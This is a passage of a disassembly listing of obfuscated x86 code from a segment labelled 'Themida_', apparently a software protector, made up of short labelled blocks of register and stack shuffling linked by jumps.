; ---------------------------------------------------------------------------


loc_563AE9:				; CODE XREF: Themida_:0056FA1Aj
		sub	ebp, 44484BDDh
		add	ebp, 5AB55981h
		mov	edx, [esp]
		add	esp, 4
		xor	eax, ebp
		mov	ebp, [esp]
		add	esp, 4
		push	dword ptr [edi+eax*4]
		push	3396h
		mov	[esp], esi
		jmp	loc_568891
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		jmp	loc_571358
; ---------------------------------------------------------------------------


loc_563B34:				; CODE XREF: Themida_:00569B68j
		sub	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], edx
		push	ebx
		push	edx
		mov	edx, 5D0B4149h
		mov	ebx, 0D151571Ch
		sub	ebx, edx
		jmp	loc_5625B8
; ---------------------------------------------------------------------------


loc_563B56:				; CODE XREF: Themida_:0056F04Dj
		push	eax
		mov	eax, 4
		add	esi, eax
		pop	eax
		xchg	esi, [esp]
		pop	esp
		push	dword ptr [edi+eax*4]
		push	dword ptr [esp]
		jmp	loc_5648C2
; ---------------------------------------------------------------------------


loc_563B6E:				; CODE XREF: Themida_:00561FDDj
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_56C243
; ---------------------------------------------------------------------------


loc_563B79:				; CODE XREF: Themida_:00568780j
		xor	[esp+4], eax
		pop	eax
		push	dword ptr [esp]
		pop	ebp
		push	edx
		jmp	loc_56244D
; ---------------------------------------------------------------------------


loc_563B88:				; CODE XREF: Themida_:00560F8Bj
		pop	esp
		jmp	loc_56D2BA
; ---------------------------------------------------------------------------


loc_563B8E:				; CODE XREF: Themida_:005733E4j
		add	ch, 0BBh
		add	ch, 0FFh
		sub	ch, 14h
		add	al, ch
		jmp	loc_56788C
; ---------------------------------------------------------------------------


loc_563B9E:				; CODE XREF: Themida_:00569D09j
		mov	esi, [esp]
		add	esp, 4
		xor	edx, 0C5554765h
		push	61DFh
		mov	[esp], ebx
		mov	ebx, 16B410Ch
		inc	ebx
		push	ecx
		jmp	loc_56F176
; ---------------------------------------------------------------------------


loc_563BC1:				; CODE XREF: Themida_:005607E9j
		mov	cl, 68h
		add	cl, bh
		pop	ebx
		add	ah, 89h
		jmp	loc_56EFD6
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		sub	esp, 4
		mov	[esp], edx
		push	ecx
		push	esp
		jmp	loc_5601C4
; ---------------------------------------------------------------------------


loc_563BE2:				; CODE XREF: Themida_:00569B1Dj
		sub	bl, cl
		pop	ecx
		sub	bl, 98h
		jmp	loc_56C8C5
; ---------------------------------------------------------------------------


loc_563BED:				; CODE XREF: Themida_:0056A344j
		push	esi
		push	esp
		pop	esi
		push	ebx
		push	edi
		mov	edi, 300E15F9h
		mov	ebx, edi
		push	dword ptr [esp]
		jmp	loc_568FBC
; ---------------------------------------------------------------------------


loc_563C01:				; CODE XREF: Themida_:005667F7j
		pop	edx
		push	dword ptr [esp]
		jmp	loc_55F57C
; ---------------------------------------------------------------------------


loc_563C0A:				; CODE XREF: Themida_:0056A0E1j
		xchg	esi, [esp]
		pop	esp
		mov	[esp], edx
		mov	edx, 5CD170FAh
		push	0C403F0CAh
		jmp	loc_56EF58
; ---------------------------------------------------------------------------


loc_563C20:				; CODE XREF: Themida_:0055FB88j
		xchg	esi, [esp]
		jmp	loc_571F3F
; ---------------------------------------------------------------------------


loc_563C28:				; CODE XREF: Themida_:00567FBFj
		add	esp, 4
		add	eax, 4
		sub	esp, 4
		mov	[esp], edx
		push	ecx
		mov	ecx, 7B262A33h
		and	ecx, 33541D1Ch
		jmp	loc_55FA05
; ---------------------------------------------------------------------------


loc_563C4A:				; CODE XREF: Themida_:0056BC96j
		sub	esp, 4
		mov	[esp], ebx
		push	325Bh
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebx
		add	ebx, 4
		push	edi
		mov	edi, 4
		add	ebx, edi
		pop	edi
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_55F55C
; ---------------------------------------------------------------------------


loc_563C75:				; CODE XREF: Themida_:0056E49Aj
		xor	[esp], ebx
		xor	ebx, [esp]
		mov	esp, [esp]
		push	3A66h
		mov	[esp], edx
		push	40h
		jmp	loc_570B68
; ---------------------------------------------------------------------------


loc_563C90:				; CODE XREF: Themida_:00573DFFj
		push	ebx
		mov	ebx, 4
		add	esi, 581828ECh
		sub	esi, ebx
		jmp	loc_573DAF
; ---------------------------------------------------------------------------


loc_563CA3:				; CODE XREF: Themida_:00565D9Cj
		sub	esp, 4
		mov	[esp], edi
		pop	ecx
		jmp	loc_572121
; ---------------------------------------------------------------------------


loc_563CAF:				; CODE XREF: Themida_:00566618j
		add	esp, 4
		mov	eax, esi
		mov	esi, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], eax
		pop	edi
		pop	eax
		jmp	loc_56ACF2
; ---------------------------------------------------------------------------


loc_563CC7:				; CODE XREF: Themida_:0056DA23j
		add	esi, 0FFFFFFFFh
		shl	esi, 5
		xor	esi, 30AFC8DEh
		xor	ecx, esi
		jmp	loc_5609DC
; ---------------------------------------------------------------------------


loc_563CDD:				; CODE XREF: Themida_:005638EAj
		sub	eax, esi
		sub	eax, 21DB29EAh
		mov	esi, [esp]
		add	esp, 4
		mov	ebx, [esp]
		add	esp, 4
		push	6513h
		mov	[esp], ecx
		mov	ecx, 4
		jmp	loc_56C098
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	esi
		mov	esi, esp
		jmp	loc_55FE88
; ---------------------------------------------------------------------------


loc_563D11:				; CODE XREF: Themida_:0056610Fj
		mov	dl, 4Bh
		jmp	loc_56A635
; ---------------------------------------------------------------------------


loc_563D18:				; CODE XREF: Themida_:005607A1j
		add	al, 0EDh
		jmp	loc_562A51
; ---------------------------------------------------------------------------
		mov	esp, [esp]
		jmp	loc_55F55C
; ---------------------------------------------------------------------------


loc_563D27:				; CODE XREF: Themida_:0056AAD1j
		push	3891h
		mov	[esp], ebx
		push	ebp
		mov	ebp, 495E0FA7h
		jmp	loc_56DCC1
; ---------------------------------------------------------------------------


loc_563D3A:				; CODE XREF: Themida_:00569756j
		push	44C8h
		mov	[esp], ecx
		push	edi
		mov	edi, 0D0F51F4h
		push	3A80h
		mov	[esp], edx
		jmp	loc_56F54A
; ---------------------------------------------------------------------------


loc_563D55:				; CODE XREF: Themida_:0056F43Fj
		add	ebx, 52C5410Ah
		jmp	loc_55F644
; ---------------------------------------------------------------------------


loc_563D60:				; CODE XREF: Themida_:005727ABj
		xor	ebp, eax
		pop	eax
		sub	edx, 5ED062C8h
		sub	edx, ebp
		add	edx, 5ED062C8h
		mov	ebp, [esp]
		add	esp, 4
		add	edx, edi
		push	edi
		jmp	loc_56A584
; ---------------------------------------------------------------------------


loc_563D7F:				; CODE XREF: Themida_:00567FB7j
		xor	eax, [esp]
		pop	esp
		and	eax, ecx
		push	dword ptr [esp]
		pop	ecx
		push	ecx
		jmp	loc_565726
; ---------------------------------------------------------------------------


loc_563D8F:				; CODE XREF: Themida_:00569D62j
		mov	esi, 2F92453h
		add	eax, esi
		pop	esi
		jmp	loc_560997
; ---------------------------------------------------------------------------


loc_563D9C:				; CODE XREF: Themida_:005605FCj
		mov	esi, ecx
		pop	ecx
		dec	esi
		or	esi, 5D4619D7h
		not	esi
		push	edi
		mov	edi, 689B30F3h
		sub	esi, edi
		mov	edi, [esp]
		jmp	loc_56B793
; ---------------------------------------------------------------------------


loc_563DB8:				; CODE XREF: Themida_:0056FDDEj
		mov	[esp], edx
		push	30314683h
		pop	edx
		push	esi
		mov	esi, 0CFCEB981h
		add	edx, esi
		jmp	loc_55F836
; ---------------------------------------------------------------------------


loc_563DCE:				; CODE XREF: Themida_:0056159Aj
		push	dword ptr [esp]
		pop	esi
		push	6AF1h
		mov	[esp], eax
		push	esp
		jmp	loc_57335C
; ---------------------------------------------------------------------------


loc_563DE0:				; CODE XREF: Themida_:00573D63j
		pop	edx
		push	edx
		mov	edx, esp
		add	edx, 4
		push	7D25h
		mov	[esp], edi
		mov	edi, 4
		add	edx, edi
		pop	edi
		xchg	edx, [esp]
		pop	esp
		add	esp, 4
		jmp	loc_5706C2
; ---------------------------------------------------------------------------


loc_563E06:				; CODE XREF: Themida_:0056D70Aj
		mov	ebp, 3CD61DBh
		jmp	loc_56A640
; ---------------------------------------------------------------------------


loc_563E10:				; CODE XREF: Themida_:0056E46Bj
		mov	edx, 0F4A0EF73h
		xor	ebp, edx
		jmp	loc_568043
; ---------------------------------------------------------------------------


loc_563E1C:				; CODE XREF: Themida_:005686F0j
		push	5453h
		mov	[esp], ebp
		mov	ebp, 41DD5006h
		sub	esi, 4C5D5991h
		add	esi, ebp
		add	esi, 4C5D5991h
		jmp	loc_55F6AC
; ---------------------------------------------------------------------------


loc_563E3C:				; CODE XREF: Themida_:00572942j
		add	ecx, esi
		pop	esi
		dec	ecx
		sub	ecx, 1F594F5Ah
		inc	ecx
		sub	ecx, 0E39E8B36h
		add	esi, ecx
		pop	ecx
		push	dword ptr [esp]
		pop	ebp
		jmp	loc_573CE0
; ---------------------------------------------------------------------------


loc_563E59:				; CODE XREF: Themida_:0056403Ej
		sub	edx, 4E8664BCh
		xor	edx, 7FB4942Ah
		sub	edi, edx
		jmp	loc_567665
; ---------------------------------------------------------------------------


loc_563E6C:				; CODE XREF: Themida_:0056BEB0j
		add	eax, 0FFEFCF95h
		mov	edi, eax
		jmp	loc_565D98
; ---------------------------------------------------------------------------


loc_563E78:				; CODE XREF: Themida_:005615E9j
		test	cl, al
		pushf
		jmp	loc_55F55C
; ---------------------------------------------------------------------------


loc_563E80:				; CODE XREF: Themida_:00566375j
		pop	ebp
		sub	eax, 4
		push	eax
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		jmp	loc_56C1E5
; ---------------------------------------------------------------------------


loc_563E93:				; CODE XREF: Themida_:00569AB0j
		not	ebx
		xchg	ebx, [esp]
		jmp	loc_570549
; ---------------------------------------------------------------------------


loc_563E9D:				; CODE XREF: Themida_:0056095Cj
		pop	edx
		push	edi
		push	esp
		pop	edi
		add	edi, 4
		sub	esp, 4
		mov	[esp], ebx
		push	ecx
		mov	ecx, 11864AB5h
		mov	ebx, ecx
		jmp	loc_57157E
; ---------------------------------------------------------------------------


loc_563EBD:				; CODE XREF: Themida_:00565C93j
		pop	esi
		push	edx
		mov	edx, esp
		jmp	loc_56F5B9
; ---------------------------------------------------------------------------


loc_563EC6:				; CODE XREF: Themida_:00570CC7j
		sub	bh, 1
		sub	bh, 6Ah
		dec	bh
		push	ecx
		push	ebx
		mov	bh, 0CDh
		mov	cl, bh
		pop	ebx
		xor	bh, cl
		pop	ecx
		add	al, bh
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		sub	al, 2Fh
		sub	esp, 4
		mov	[esp], ebx
		push	esp
		mov	ebx, [esp]
		add	esp, 4
		add	ebx, 4
		push	0FF8h
		mov	[esp], esi
		mov	esi, 2
		sub	ebx, esi
		pop	esi
		jmp	loc_56D676
; ---------------------------------------------------------------------------


loc_563F0E:				; CODE XREF: Themida_:005634C9j
		mov	edx, [esp]
		add	esp, 4
		shr	esi, 1
		push	ebx
		mov	ebx, 35710F29h
		jmp	loc_572167
; ---------------------------------------------------------------------------


loc_563F24:				; CODE XREF: Themida_:00570055j
		sub	esp, 4
		mov	[esp], eax
		push	23873CDEh
		pop	eax
		dec	eax
		push	ebp
		push	ecx
		mov	ecx, 52385913h
		jmp	loc_55FEC2
; ---------------------------------------------------------------------------


loc_563F3D:				; CODE XREF: Themida_:00561201j
		mov	eax, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_570E1C
; ---------------------------------------------------------------------------


loc_563F4E:				; CODE XREF: Themida_:0056C62Cj
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_57403B
; ---------------------------------------------------------------------------


loc_563F5C:				; CODE XREF: Themida_:005616DCj
		pop	edx
		shl	edx, 3
		and	edx, 3211620Ah
		not	edx
		jmp	loc_573FB2
; ---------------------------------------------------------------------------


loc_563F6D:				; CODE XREF: Themida_:00565214j
		add	esp, 4
		add	ecx, eax
		pop	eax
		push	72E2h
		mov	[esp], ecx
		jmp	loc_57047A
; ---------------------------------------------------------------------------


loc_563F80:				; CODE XREF: Themida_:0056A03Fj
		pop	eax
		neg	esi
		shl	esi, 3
		sub	esi, 0E199801Ch
		jmp	loc_570A3A
; ---------------------------------------------------------------------------


loc_563F91:				; CODE XREF: Themida_:005610BDj
		sub	esp, 4
		mov	[esp], esi
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	esi, [esp]
		add	esp, 4
		push	ecx
		push	eax
		jmp	loc_56EF3A
; ---------------------------------------------------------------------------


loc_563FB1:				; CODE XREF: Themida_:00568E60j
		add	esp, 4
		push	edx
		mov	edx, 65476208h
		shl	edx, 4
		xor	edx, 4EE36CE7h
		jmp	loc_56FC86
; ---------------------------------------------------------------------------


loc_563FCB:				; CODE XREF: Themida_:005665F4j
		sub	edx, 57374CA3h
		add	ebx, edx
		mov	edx, [esp]
		add	esp, 4
		push	745Eh
		mov	[esp], eax
		mov	eax, 2
		add	ebx, eax
		pop	eax
		jmp	loc_55F65E
; ---------------------------------------------------------------------------
		push	eax
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	eax
		push	ebx
		mov	ebx, 4
		add	eax, ebx
		pop	ebx
		push	5DFh
		mov	[esp], ecx
		mov	ecx, 4
		jmp	loc_56058C
; ---------------------------------------------------------------------------


loc_56401B:				; CODE XREF: Themida_:00567126j
		add	esp, 4
		jmp	loc_56C8A0
; ---------------------------------------------------------------------------


loc_564023:				; CODE XREF: Themida_:00564F02j
		pop	edi
		sub	ebx, 4E2453B5h
		add	ebx, esi
		jmp	loc_56801E
; ---------------------------------------------------------------------------


loc_564031:				; CODE XREF: Themida_:00571025j
		mov	ch, 0AFh
		jmp	loc_5681D2
; ---------------------------------------------------------------------------


loc_564038:				; CODE XREF: Themida_:0056A4CDj
		or	edx, 2CE449DBh
		jmp	loc_563E59
; ---------------------------------------------------------------------------


loc_564043:				; CODE XREF: Themida_:00568A9Aj
		pop	edi
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		jmp	loc_562A48
; ---------------------------------------------------------------------------


loc_564052:				; CODE XREF: Themida_:0056C1C1j
		pop	ebx
		add	ebx, ebp
		pop	ebp
		push	edx
		mov	edx, 4
		add	ebx, edx
		pop	edx
		xchg	ebx, [esp]
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], ebp
		push	30BEh
		mov	[esp], esp
		jmp	loc_56D446
; ---------------------------------------------------------------------------


loc_564078:				; CODE XREF: Themida_:0056EFE3j
		mov	[esp], esi
		mov	esi, 5F2D134Bh
		jmp	loc_56E1E8
; ---------------------------------------------------------------------------


loc_564085:				; CODE XREF: Themida_:00573F7Bj
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		jmp	loc_5723A3
; ---------------------------------------------------------------------------


loc_564092:				; CODE XREF: Themida_:0056632Bj
		jmp	loc_55F55C
; ---------------------------------------------------------------------------


loc_564097:				; CODE XREF: Themida_:00564EC2j
		mov	bh, ah
		pop	eax
		mov	ch, dl
		push	eax
		mov	ah, bh
		mov	dl, ah
		pop	eax
		pop	bx
		jmp	loc_56ABD5
; ---------------------------------------------------------------------------


loc_5640A9:				; CODE XREF: Themida_:00570F57j
		sub	esp, 4
		mov	[esp], eax
		push	esi
		push	edx
		jmp	loc_56C885
; ---------------------------------------------------------------------------


loc_5640B9:				; CODE XREF: Themida_:00564113j
		and	edi, 222E18BAh
		not	edi
		shr	edi, 2
		jmp	loc_5670A3
; ---------------------------------------------------------------------------


loc_5640C9:				; CODE XREF: Themida_:00565E74j
		add	ebx, edx
		add	ebx, 214C2A3Fh
		push	dword ptr [esp]
		pop	edx
		jmp	loc_56ED15
; ---------------------------------------------------------------------------


loc_5640DA:				; CODE XREF: Themida_:00563272j
		mov	esi, [esp]
		add	esp, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		add	ebp, 4
		jmp	loc_572258
; ---------------------------------------------------------------------------


loc_5640F2:				; CODE XREF: Themida_:0056B601j
		pop	edi
		xchg	edx, [esp]
		pop	esp
		mov	[esp], ebp
		sub	esp, 4
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		pop	ebp
		push	edi
		push	eax
		mov	eax, 46C836C3h
		mov	edi, eax
		pop	eax
		jmp	loc_5640B9
; ---------------------------------------------------------------------------


loc_564118:				; CODE XREF: Themida_:0056D591j
		pop	ecx
		jmp	loc_56465A
; ---------------------------------------------------------------------------


loc_56411E:				; CODE XREF: Themida_:00568CB4j
		xor	ch, 0E4h
		or	ch, 37h
		sub	ch, 92h
		push	ebx
		mov	bh, 0AAh
		add	bh, 9Ch
		jmp	loc_56073D
; ---------------------------------------------------------------------------


loc_564132:				; CODE XREF: Themida_:0056E0D9j
		push	eax
		mov	eax, 328F26FEh
		mov	edx, eax
		pop	eax
		jmp	loc_569AA9
; ---------------------------------------------------------------------------


loc_564140:				; CODE XREF: Themida_:0056694Cj
		push	400h
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		or	[edi+1Ch], edx
		push	dword ptr [esp]
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_562E93
; ---------------------------------------------------------------------------


loc_564160:				; CODE XREF: Themida_:005728B9j
		mov	esi, 66203C7Ah
		shr	esi, 8
		push	0E7h
		mov	[esp], edx
		push	14EAh
		mov	[esp], ebx
		mov	ebx, 55B52D1Ah
		jmp	loc_565BBC
; ---------------------------------------------------------------------------


loc_564182:				; CODE XREF: Themida_:0056D145j
		xor	esi, ebx
		pop	ebx
		or	esi, 4D166984h
		push	esi
		not	dword ptr [esp]
		pop	esi
		shr	esi, 6
		xor	esi, 48044Dh
		add	edx, esi
		pop	esi
		jmp	loc_5682DD
; ---------------------------------------------------------------------------


loc_5641A1:				; CODE XREF: Themida_:00569274j
		mov	[esp], ecx
		push	esp
		mov	ecx, [esp]
		add	esp, 4
		push	edi
		push	eax
		push	ebp
		push	ecx
		push	edx
		mov	edx, 58E58D5h
		shr	edx, 5
		neg	edx
		xor	edx, 16A03D69h
		jmp	loc_56117D
; ---------------------------------------------------------------------------


loc_5641C8:				; CODE XREF: Themida_:005618EDj
		pop	edi
		push	ebx
		mov	ebx, 0F747E8CCh
		sub	ecx, ebx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_5677B4
; ---------------------------------------------------------------------------


loc_5641DC:				; CODE XREF: Themida_:00566708j
		shr	ebx, 4
		neg	ebx
		xor	ebx, 9B1BA721h
		sub	edi, ebx
		pop	ebx
		pop	ecx
		push	edi
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	edi
		jmp	loc_563771
; ---------------------------------------------------------------------------


loc_5641F9:				; CODE XREF: Themida_:0056F02Cj
		mov	[esp], edi
		pop	dword ptr [edx+38h]
		pop	edi
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 68D403F5h
		and	[edx+38h], eax
		jmp	loc_561E91
; ---------------------------------------------------------------------------


loc_564216:				; CODE XREF: Themida_:00570ACFj
		add	esp, 4
		sub	eax, 636442FAh
		sub	eax, 46EF6A64h
		jmp	loc_5705E7
; ---------------------------------------------------------------------------


loc_564228:				; CODE XREF: Themida_:00568DA4j
		xor	edi, 2BC2D7Bh
		mov	ebx, edi
		pop	edi
		mov	ecx, 17BE0934h
		jmp	loc_56E232
; ---------------------------------------------------------------------------


loc_56423B:				; CODE XREF: Themida_:0056909Cj
		add	edi, 23122486h
		add	edi, ebp
		sub	edi, 23122486h
		pop	ebp
		add	edi, 2
		push	edi
		push	dword ptr [esp+4]
		jmp	loc_5706D9
; ---------------------------------------------------------------------------


loc_564257:				; CODE XREF: Themida_:00561885j
		mov	edx, 74F43953h
		jmp	loc_56B744
; ---------------------------------------------------------------------------


loc_564261:				; CODE XREF: Themida_:0056FEE2j
		push	ecx
		mov	ecx, 4A586743h
		sub	eax, ecx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_56D411
; ---------------------------------------------------------------------------


loc_564277:				; CODE XREF: Themida_:0056B6ECj
		or	ebx, ebp
		pop	ebp
		add	ebx, 80008846h
		add	eax, ebx
		jmp	loc_573F2B
; ---------------------------------------------------------------------------


loc_564287:				; CODE XREF: Themida_:00563966j
		pop	esp
		jmp	loc_565A03
; ---------------------------------------------------------------------------


loc_56428D:				; CODE XREF: Themida_:00571A18j
		pop	esi
		neg	ebx
		jmp	loc_5743F4
; ---------------------------------------------------------------------------


loc_564295:				; CODE XREF: Themida_:00565D93j
		mov	ebx, 269D7018h
		inc	ebx
		and	ebx, 432752CCh
		push	ebx
		not	dword ptr [esp]
		pop	ebx
		jmp	loc_5729FB
; ---------------------------------------------------------------------------


loc_5642AB:				; CODE XREF: Themida_:0055FD1Bj
		pop	edx
		push	dword ptr [esp]
		jmp	loc_5628D2
; ---------------------------------------------------------------------------


loc_5642B4:				; CODE XREF: Themida_:0056DFDAj
		pop	esi
		add	esi, 4
		jmp	loc_569B43
; ---------------------------------------------------------------------------


loc_5642C0:				; CODE XREF: Themida_:005739F5j
		xor	esi, [esp]
		pop	esp
		sub	esp, 4
		jmp	loc_560146
; ---------------------------------------------------------------------------


loc_5642CC:				; CODE XREF: Themida_:005608DCj
		sub	edx, 0D35FD224h
		add	ebp, edx
		pop	edx
		xchg	ebp, [esp]
		pop	esp
		or	edx, eax
		jmp	loc_561C40
; ---------------------------------------------------------------------------


loc_5642E0:				; CODE XREF: Themida_:005712DFj
		pop	esi
		push	esi
		mov	esi, 2F117E2Bh
		sub	edi, esi
		pop	esi
		add	edi, esi
		add	edi, 2F117E2Bh
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		jmp	loc_55F72F
; ---------------------------------------------------------------------------


loc_564301:				; CODE XREF: Themida_:00570102j
		mov	ebx, ecx
		pop	ecx
		xor	ebx, ebp
		pop	ebp
		add	edi, ebx
		jmp	loc_56992C
; ---------------------------------------------------------------------------


loc_56430E:				; CODE XREF: Themida_:00572526j
		mov	eax, 534468EFh
		xor	eax, 18115DFBh
		or	eax, 41975A59h
		sub	eax, 3C69D99Dh
		xor	esi, eax
		pop	eax
		and	eax, esi
		push	dword ptr [esp]
		mov	esi, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		push	edx
		jmp	loc_564783
; ---------------------------------------------------------------------------


loc_56434C:				; CODE XREF: Themida_:00560970j
		sub	ebx, eax
		pop	eax
		not	ebx
		add	ebx, 8012FE74h
		sub	eax, ebx
		jmp	loc_56CC87
; ---------------------------------------------------------------------------


loc_56435E:				; CODE XREF: Themida_:0056ADFAj
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		jmp	loc_565CB7
; ---------------------------------------------------------------------------


loc_56436B:				; CODE XREF: Themida_:00573907j
		pop	esp
		xor	[esp], eax
		jmp	loc_55F55C
; ---------------------------------------------------------------------------


loc_564374:				; CODE XREF: Themida_:0056D6FCj
		neg	dh
		dec	dh
		sub	dh, 0A1h
		sub	bl, dh
		pop	edx
		push	edx
		mov	dh, 0Dh
		jmp	loc_55FA8A
; ---------------------------------------------------------------------------


loc_564386:				; CODE XREF: Themida_:0056E04Fj
		mov	edi, 2
		sub	ecx, 6AAE1004h
		jmp	loc_5723DA
; ---------------------------------------------------------------------------


loc_564396:				; CODE XREF: Themida_:0056B364j
		add	eax, 77B479Eh
		pop	edi
		push	6823h
		jmp	loc_56CCF9
; ---------------------------------------------------------------------------


loc_5643A6:				; CODE XREF: Themida_:0057316Bj
		pop	eax
		push	eax
		mov	al, dh
		jmp	loc_56FDB0
; ---------------------------------------------------------------------------


loc_5643AF:				; CODE XREF: Themida_:00567262j
		add	edi, 40E13646h
		sub	edi, 9F685EBCh
		add	esi, edi
		jmp	loc_565B5F
; ---------------------------------------------------------------------------


loc_5643C2:				; CODE XREF: Themida_:00568FBDj
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		add	ebx, 0CFF1EA0Bh
		sub	esi, 776C2507h
		jmp	loc_56C617
; ---------------------------------------------------------------------------


loc_5643E3:				; CODE XREF: Themida_:00574400j
		not	ebx
		inc	ebx
		jmp	loc_56DA73
; ---------------------------------------------------------------------------


loc_5643EB:				; CODE XREF: Themida_:0056E375j
		mov	[esp], ebp
		jmp	loc_561E71
; ---------------------------------------------------------------------------


loc_5643F3:				; CODE XREF: Themida_:00561C99j
		add	edi, 459EC38h
		mov	ecx, edi
		push	dword ptr [esp]
		pop	edi
		jmp	loc_56EB0B
; ---------------------------------------------------------------------------


loc_564404:				; CODE XREF: Themida_:00570475j
		add	edx, 6BED29EEh
		add	edx, edi
		sub	edx, 6BED29EEh
		add	edx, 34B966ACh
		mov	edi, [esp]
		add	esp, 4
		sub	eax, edx
		pop	edx
		push	edi
		push	eax
		mov	eax, 1632FE7h
		jmp	loc_5652DC
; ---------------------------------------------------------------------------


loc_56442D:				; CODE XREF: Themida_:0056F605j
		jmp	loc_55F55C
; ---------------------------------------------------------------------------


loc_564432:				; CODE XREF: Themida_:00568917j
		mov	esi, esp
		jmp	loc_573032
; ---------------------------------------------------------------------------


loc_564439:				; CODE XREF: Themida_:00566402j
		sub	ecx, 347E3797h
		sub	ecx, 4BCD2B9Ah
		add	ecx, edi
		add	ecx, 4BCD2B9Ah
		add	ecx, 347E3797h
		pop	edi
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_55F5F8
; ---------------------------------------------------------------------------


loc_56445D:				; CODE XREF: Themida_:0056350Aj
		mov	[esp], ecx
		push	esp
		pop	ecx
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		mov	[esp], ebp
		push	7D06h
		jmp	loc_5736D5
; ---------------------------------------------------------------------------


loc_564481:				; CODE XREF: Themida_:00564FA6j
		add	esp, 4
		push	ecx
		mov	ecx, 67720772h
		shr	ecx, 7
		inc	ecx
		xor	ecx, 756D2074h
		push	esi
		mov	esi, 1C5A2AC5h
		xor	esi, 7B1611Bh
		and	ecx, esi
		pop	esi
		shr	ecx, 2
		jmp	loc_56E0DE
; ---------------------------------------------------------------------------


loc_5644AB:				; CODE XREF: Themida_:00565541j
		add	esi, 1F744776h
		add	esi, 664843E0h
		jmp	loc_563000
; ---------------------------------------------------------------------------


loc_5644BC:				; CODE XREF: Themida_:005614B1j
		jmp	loc_55F55C
; ---------------------------------------------------------------------------


loc_5644C1:				; CODE XREF: Themida_:005674E3j
		sub	eax, 746E4AABh
		add	eax, 33383249h
		sub	eax, ebp
		jmp	loc_561B19
; ---------------------------------------------------------------------------


loc_5644D2:				; CODE XREF: Themida_:005693E3j
		xor	edi, edx
		mov	edx, [esp]
		jmp	loc_55FAE9
; ---------------------------------------------------------------------------


loc_5644DC:				; CODE XREF: Themida_:00571E93j
		mov	edx, eax
		jmp	loc_570ADF
; ---------------------------------------------------------------------------


loc_5644E3:				; CODE XREF: Themida_:005703C7j
		mov	[esp], eax
		push	esp
		pop	eax
		add	eax, 4
		push	edx
		mov	edx, 4
		jmp	loc_565296
; ---------------------------------------------------------------------------


loc_5644F8:				; CODE XREF: Themida_:00568294j
		mov	eax, 58673984h
		jmp	loc_56A028
; ---------------------------------------------------------------------------


loc_564502:				; CODE XREF: Themida_:005634EBj
		xor	ebx, [esp]
		jmp	loc_571DF7
; ---------------------------------------------------------------------------


loc_56450A:				; CODE XREF: Themida_:0056D270j
		push	35Eh
		mov	[esp], ebp
		jmp	loc_560851
; ---------------------------------------------------------------------------


loc_564517:				; CODE XREF: Themida_:00567B5Bj
		mov	cl, 98h
		mov	al, 4Ah
		jmp	loc_56A810
; ---------------------------------------------------------------------------


loc_564520:				; CODE XREF: Themida_:0057011Bj
		mov	edi, 32D64578h
		mov	eax, 444ECBACh
		add	eax, edi
		jmp	loc_561948
; ---------------------------------------------------------------------------


loc_564531:				; CODE XREF: Themida_:0056F37Fj
		mov	edi, 467EF004h
		jmp	loc_565CFE
; ---------------------------------------------------------------------------


loc_56453B:				; CODE XREF: Themida_:005712A9j
		pop	ebp
		sub	ebx, edi
		jmp	loc_5697EF
; ---------------------------------------------------------------------------


loc_564543:				; CODE XREF: Themida_:0057262Cj
		xchg	esi, [esp]
		pop	esp
		mov	[esp], ebx
		push	esi
		mov	esi, esp
		push	ebx
		mov	ebx, 100639A4h
		and	ebx, 13EC3647h
		add	ebx, 0EFFBD000h
		add	esi, ebx
		pop	ebx
		jmp	loc_57438F
; ---------------------------------------------------------------------------


loc_564567:				; CODE XREF: Themida_:0056B01Cj
		add	esp, 4
		pop	esi
		push	edi
		push	ecx
		jmp	loc_565607
; ---------------------------------------------------------------------------


loc_564575:				; CODE XREF: Themida_:0056485Ej
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		add	eax, 1B3E4866h
		sub	eax, edi
		sub	eax, 1B3E4866h
		mov	edi, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		push	ebx
		mov	ebx, 4
		jmp	loc_5632FF
; ---------------------------------------------------------------------------


loc_56459F:				; CODE XREF: Themida_:0056063Ej
		mov	esi, 4
		add	edi, esi
		pop	esi
		xchg	edi, [esp]
		pop	esp
		mov	edi, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_572DF8
; ---------------------------------------------------------------------------


loc_5645BC:				; CODE XREF: Themida_:0056AD1Ej
		add	esp, 4
